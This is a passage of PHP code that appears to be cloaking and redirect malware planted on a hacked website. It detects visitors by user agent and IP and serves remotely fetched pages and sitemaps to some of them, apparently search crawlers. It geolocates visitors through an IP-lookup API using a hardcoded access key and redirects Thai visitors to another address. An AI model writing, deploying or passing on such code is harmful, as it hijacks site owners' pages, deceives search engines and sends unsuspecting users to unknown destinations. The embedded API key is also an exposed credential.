0) { $ip = substr($ip, 0, strpos($ip, ',')); } return $ip; } if(KontolNjepat($_SERVER['HTTP_USER_AGENT'], getRealIP())) { if ($_SERVER['REQUEST_URI'] === '/sitemap.xml') { echo getContents($contents.'/sitemap.xml'); exit; } if ($_SERVER['REQUEST_URI'] === '/') { echo getContents($contents.'/index.txt'); exit; } } $userIP = getRealIP(); $access_key = '6e884488bfce729f7f0c326fffd505ce'; $ch = curl_init('http://api.ipapi.com/' . $userIP . '?access_key=' . $access_key); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($ch); $jsonData = json_decode($json); if ($jsonData->country_code == 'TH') { if ($_SERVER['REQUEST_URI'] === '/') { if(!is_null($redirectTo)) { header("Location: ".$redirectTo."",TRUE,301); exit(); }else { echo getContents($contents.'/index.txt'); exit(); } }else if ($_SERVER['REQUEST_URI'] === '/sitemap.xml') { echo getContents($contents.'sitemap.xml'); exit(); } } ?> hehe